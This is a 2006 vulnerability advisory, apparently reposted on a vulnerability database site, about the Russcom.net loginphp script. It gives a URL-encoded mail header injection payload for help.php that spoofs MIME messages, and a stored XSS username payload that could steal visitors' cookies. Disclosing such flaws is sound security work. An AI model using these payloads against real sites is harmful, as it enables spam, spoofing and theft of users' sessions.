`Russcom.net Loginphp multiple vulnerabilties
Discovered by: Nomenumbra
Date: 5/2/2006
impact:moderate (privilege escalation,possible defacement)
Russcom.net's loginphp script is a small usermanagement script:
Users can sign up for a username which they can use to login to the password protected main page.
The administrator can delete users. He can also edit the main page.
This script includes the members and help pages.
It is possible to send spoofed mails in MIME-format trough help.php due to improper filtering:
The php mail function is used like:
mail([RECIPIENT],[SUBJECT],[MESSAGE],[EXTRAHEADERS], [EXTRAPARAMS]);
By following the rules provided in RFC 822 we can inject a message in MIME-format like this:
[email protected]%0AContent-Type:multipart/mixed;%20boundary=frog;%0A--frog%0AContent-Type:text/html%0A%0A
My%20Message.%0A--frog--
to get this message:
To: [email protected]
Subject: Visit www.website.xxx !
From: [email protected]
Content-Type:multipart/mixed; boundary=frog;
--frog
Content-Type:text/html
My Message.
--frog--
Hello,
A friend thought you might want to see this page : www.website.xxx.
Bye Bye
for more information: http://www.securephpwiki.com/index.php/Email_Injection
In the register function you can subscribe with the following username (for example):
<script>alert('xss')</script> the input isn't sanitized so you can insert any XSS (30 char max) and anyone who will visit the page displaying
all users will get XSS'd (potentially cookies stolen).
Nomenumbra/[0x4F4C]
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation